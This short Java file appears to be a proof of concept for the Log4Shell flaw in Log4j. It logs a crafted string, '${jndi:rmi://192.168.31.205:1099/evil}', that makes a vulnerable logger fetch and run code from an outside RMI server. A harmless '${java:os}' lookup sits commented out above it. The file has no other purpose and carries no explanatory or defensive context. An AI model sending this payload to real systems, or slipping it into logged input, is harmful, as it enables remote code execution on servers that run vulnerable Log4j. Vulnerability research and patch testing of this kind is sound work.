package com.example.demo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class DemoApplication {

	private static final Logger logger = LogManager.getLogger(DemoApplication.class);

    public static void main(String[] args) {

		String username2 = "123";
//		String username = "${java:os}";
		String username = "${jndi:rmi://192.168.31.205:1099/evil}";
    	logger.info("hello , {} ,{}",username,username2);
    	System.out.println("over");
    }
}